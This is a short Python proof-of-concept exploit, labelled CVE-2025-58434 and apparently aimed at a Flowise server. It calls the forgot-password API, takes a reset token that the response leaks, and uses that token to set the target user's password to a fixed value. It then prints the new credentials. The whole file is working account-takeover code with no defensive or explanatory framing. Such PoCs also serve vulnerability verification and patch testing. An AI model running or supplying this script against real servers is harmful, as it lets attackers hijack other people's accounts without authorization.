import requests
import sys

TARGET = sys.argv[1]
EMAIL = sys.argv[2]
PASSWORD = "Fl0w1s3PoC"

HEADERS = {
     "Accept": "application/json, text/plain, /",
     "Content-Type": "application/json",
     "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36",
     "Origin": TARGET
}

forgotPasswordUrl = f"{TARGET}/api/v1/account/forgot-password"
resetPasswordUrl = f"{TARGET}/api/v1/account/reset-password"

def getToken():
     emailPayload = {"user": {"email": EMAIL}}
     response = requests.post(forgotPasswordUrl, headers=HEADERS, json=emailPayload)
     data = response.json()
     tempToken = data.get("user", {}).get("tempToken")
 
     return tempToken
 
def resetPassword(tempToken):
     tokenPayload = {"user": {"email": EMAIL, "password": PASSWORD, "tempToken": tempToken}}
     response = requests.post(resetPasswordUrl, headers=HEADERS, json=tokenPayload)
     creds = [EMAIL,PASSWORD]
     return creds
 
def main():
     print("CVE-2025-58434 Exploit PoC")
 
     token = getToken()
 
     if not token:
         print("Something went wrong!")
         exit
     else:
         creds = resetPassword(token)
         print(f'[+] Reset Token: {token}\n[+] Password successfully reseted!\n[+] New password for {EMAIL}: {PASSWORD}')

if __name__=="__main__":
     main()